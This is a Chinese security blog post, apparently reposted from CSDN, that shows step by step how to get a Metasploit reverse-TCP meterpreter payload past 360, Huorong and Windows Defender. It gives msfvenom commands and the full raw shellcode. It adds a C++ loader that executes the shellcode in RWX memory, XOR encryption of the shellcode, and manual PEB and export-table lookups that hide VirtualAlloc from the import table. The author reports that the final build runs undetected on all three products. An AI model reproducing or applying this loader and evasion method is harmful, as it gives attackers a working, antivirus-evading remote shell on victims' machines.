【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防

admin 2022年1月10日11:25:50评论476 views字数 6080阅读20分16秒阅读模式

    Shellcode,顾名思义是一段拿来执行的代码片段,我们可以使用Shellcode来完成我们需要的任务


    弹窗的代码,可以被认为是一段Shellcode,获取某个模块的基址的代码,也可以被认为是一段Shellcode,同理,拿来干坏事的代码,也是Shellcode


    如今的杀毒软件都拥有查杀病毒木马的能力,除了静态的查杀,还有动态的主动防御,若恶意代码片段(拿来干坏事的Shellcode)被杀软发现,则可以认为当前运行的程序是病毒木马或是被感染的文件,理应“杀掉”


    有些时候,我们不想让自己写的代码被杀毒软件当作恶意软件,于是出现了免杀技术,今天来尝试着做一次免杀


    首先使用万能的Metasploit生成一个普普通通的payload文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx -f exe -o payload.exe

    把payload.exe复制到带有火绒的系统中,被秒杀,由此见得各杀软是把这一类工具的产物盯得死死的


    换个思路,仅把Shellcode生成出来,自己做免杀

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx -f c -o payload.c

    得到的payload.c如下

unsigned char buf[] = "xfcxe8x8fx00x00x00x60x31xd2x89xe5x64x8bx52x30""x8bx52x0cx8bx52x14x31xffx0fxb7x4ax26x8bx72x28""x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49""x75xefx52x8bx52x10x57x8bx42x3cx01xd0x8bx40x78""x85xc0x74x4cx01xd0x8bx58x20x01xd3x8bx48x18x50""x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xc1""xcfx0dxacx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24""x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c""x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59""x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d""x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26""x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68""x29x80x6bx00xffxd5x6ax0ax68xc0xa8x99x81x68x02""x00x11x5cx89xe6x50x50x50x50x40x50x40x50x68xea""x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61""xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00""x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83""xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a""x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57""x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00""x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68""x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff""xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb""xf0xb5xa2x56x6ax00x53xffxd5";

    然后我们使用C++来执行这段Shellcode

#include <Windows.h>#include <iostream>
using namespace std;
// 此处是上面的payload.c中的代码
int main(){ int a; cin >> a; if (a == 123) { auto b = (void(*)())VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(b, buf, sizeof(buf)); b(); }}

    开发环境用的是Visual Studio 2019,Release x86,其余是默认设置


    我们将编译好的程序运行,输入123回车,Shellcode执行成功,而全程火绒没有任何反应


    火绒的静态和主防能力有点令人糟心


    将程序复制到有Defender的系统上,被秒杀


    Defender静态查杀估计是特征码,我们将payload加密一下

string s;for (size_t i = 0; i < sizeof(buf); i++){  int n = buf[i] ^ 0x44;  char c[5]{};  sprintf_s(c, "\x%x", n);  s += c;}cout << s << endl;

    即可得到加密后的payload,我们把输出的新payload替换原有的payload,然后在b();上一行添加解密代码。

for (size_t i = 0; i < sizeof(buf); i++){  ((unsigned char*)b)[i] ^= 0x44;}

    这次新生成的程序成功绕过了Defender的静态查杀,网传Defender没有主动防御,不知是真是假,反正Shellcode也成功执行,代表着Defender没起作用


    接下来把程序复制到有360的系统上,360没有第一时间报毒,但是双击执行的时候被拦截下来了,弹窗提示木马


    好家伙,接下来就是长达半小时的不断尝试


    本身Shellcode被加密,特征码肯定是没有了,而程序一开始并没有执行Shellcode,因此被杀的原因肯定是出在自己的C++代码上


    考虑到VirtualAlloc是一个高危函数,在杀软心中权重很大,且配合其参数,申请一块可执行的内存空间的行为非常可疑,这应该是被杀的主要原因


    采用我前面发的写壳的文章中手动找函数地址的方法,避开将VirtualAlloc明文写在导入表里

#include <Windows.h>#include <iostream>
using namespace std;
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
unsigned char buf[] = "xb8xacxcbx44x44x44x24x75x96xcdxa1x20xcfx16x74xcfx16x48xcfx16x50x75xbbx4bxf3xex62xcfx36x6cx75x84xe8x78x25x38x46x68x64x85x8bx49x45x83xdx31xabx16xcfx16x54x13xcfx6x78x45x94xcfx4x3cxc1x84x30x8x45x94xcfx1cx64x45x97xcfxcx5cx14xc1x8dx30x78x75xbbxdxcfx70xcfx45x92x75x84x85x8bx49xe8x45x83x7cxa4x31xb0x47x39xbcx7fx39x60x31xa4x1cxcfx1cx60x45x97x22xcfx48xfxcfx1cx58x45x97xcfx40xcfx45x94xcdx0x60x60x1fx1fx25x1dx1ex15xbbxa4x1cx1bx1excfx56xadxc4xbbxbbxbbx19x2cx77x76x44x44x2cx33x37x76x1bx10x2cx8x33x62x43xcdxacxbbx94xfcxd4x45x44x44x6dx80x10x14x2cx6dxc4x2fx44xbbx91x2ex4ex2cx84xecxddxc5x2cx46x44x55x18xcdxa2x14x14x14x14x4x14x4x14x2cxaex4bx9bxa4xbbx91xd3x2ex54x12x13x2cxddxe1x30x25xbbx91xc1x84x30x4exbbxax4cx31xa8xacx23x44x44x44x2ex44x2ex40x12x13x2cx46x9dx8cx1bxbbx91xc7xbcx44x3ax72xcfx72x2ex4x2cx44x54x44x44x12x2ex44x2cx1cxe0x17xa1xbbx91xd7x17x2ex44x12x17x13x2cx46x9dx8cx1bxbbx91xc7xbcx44x39x6cx1cx2cx44x4x44x44x2ex44x14x2cx4fx6bx4bx74xbbx91x13x2cx31x2ax9x25xbbx91x1ax1axbbx48x60x4bxc1x34xbbxbbxbbxadxdfxbbxbbxbbx45x87x6dx82x31x85x87xffxb4xf1xe6x12x2ex44x17xbbx91";
size_t getKernelBase(){ return *(***(*((size_t*****)__readfsdword(0x30) + 3) + 7) + 2);}
int main(){ int a; cin >> a; if (a == 123) { size_t hKernel = getKernelBase(); PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)hKernel; PIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)(pImageDosHeader->e_lfanew + hKernel); PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hKernel); size_t nameCount = pImageExportDirectory->NumberOfNames; size_t funcAddr = pImageExportDirectory->AddressOfFunctions + hKernel; size_t nameAddr = pImageExportDirectory->AddressOfNames + hKernel; size_t ordinal = pImageExportDirectory->AddressOfNameOrdinals + hKernel; fGetProcAddress fnGetProcAddress = NULL; for (size_t i = 0; i < nameCount; i++) { USHORT* n = (USHORT*)(*(size_t*)(nameAddr + i * 4) + hKernel); if (n[0] == 0x6547 && n[1] == 0x5074 && n[2] == 0x6f72 && n[3] == 0x4163 && n[4] == 0x6464 && n[5] == 0x6572 && n[6] == 0x7373) { fnGetProcAddress = (fGetProcAddress)(*(size_t*)(funcAddr + *(USHORT*)(ordinal + i * 2) * 4) + hKernel); } } if (fnGetProcAddress == NULL) { return 0; } size_t str1[4]; str1[0] = 0x74726956; str1[1] = 0x416c6175; str1[2] = 0x636f6c6c; str1[3] = 0x0; fVirtualAlloc fnVirtualAlloc = (fVirtualAlloc)fnGetProcAddress((HMODULE)hKernel, (char*)str1); auto b = (void(*)())fnVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(b, buf, sizeof(buf)); for (size_t i = 0; i < sizeof(buf); i++) { ((unsigned char*)b)[i] ^= 0x44; } b(); }}


    要注意的是,我这里把找Kernel32.dll基址的代码另起了一个函数,是因为不这样的话还是会被查杀,估计是“获取基址+解析PE文件”这一段代码被识别成了特征码,而我将它们分开则破坏了特征


    为了不让编译器优化机制坏我们的好事,在设置中关闭编译器优化


    接下来新生成的程序成功绕过了360的查杀,顺利执行了Shellcode

【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防

    再将程序分别拿到有火绒和有Defender的系统中,照样无视它们~


    至此,Shellcode免杀就告一段落了,这次尝试还是比较成功的,在思考的过程中我也有许多的收获,自己也有一些独自的见解,比如插入花指令啥的,当时试了一下没起作用,现在想想,有可能是被编译器优化坏了好事= =


    同时,在网上收集资料的过程中也看到了许多大佬的文章和心得,函数哈希、托管代码、powershell、白加黑等操作令我耳目一新,有时间的话把这些方法都学一学,也算是增长见识了


    现在的杀软的云查杀非常厉害,单独的免杀我认为前途不大,如果程序能够自己“分裂”无数个自己,而每个自己又不相同,却可以完成一样的事情,这才能真正应对云查杀

CSDN博主「古月浪子」:https://blog.csdn.net/tqydyqt/article/details/113831533


---》

推荐公众号:

    每日分享红蓝队技术文章与工具使用 下载方式、以及不定期的安全类书籍抽奖~


【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防

本文始发于微信公众号(LemonSec):【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日11:25:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防http://cn-sec.com/archives/468692.html

发表评论

匿名网友 填写信息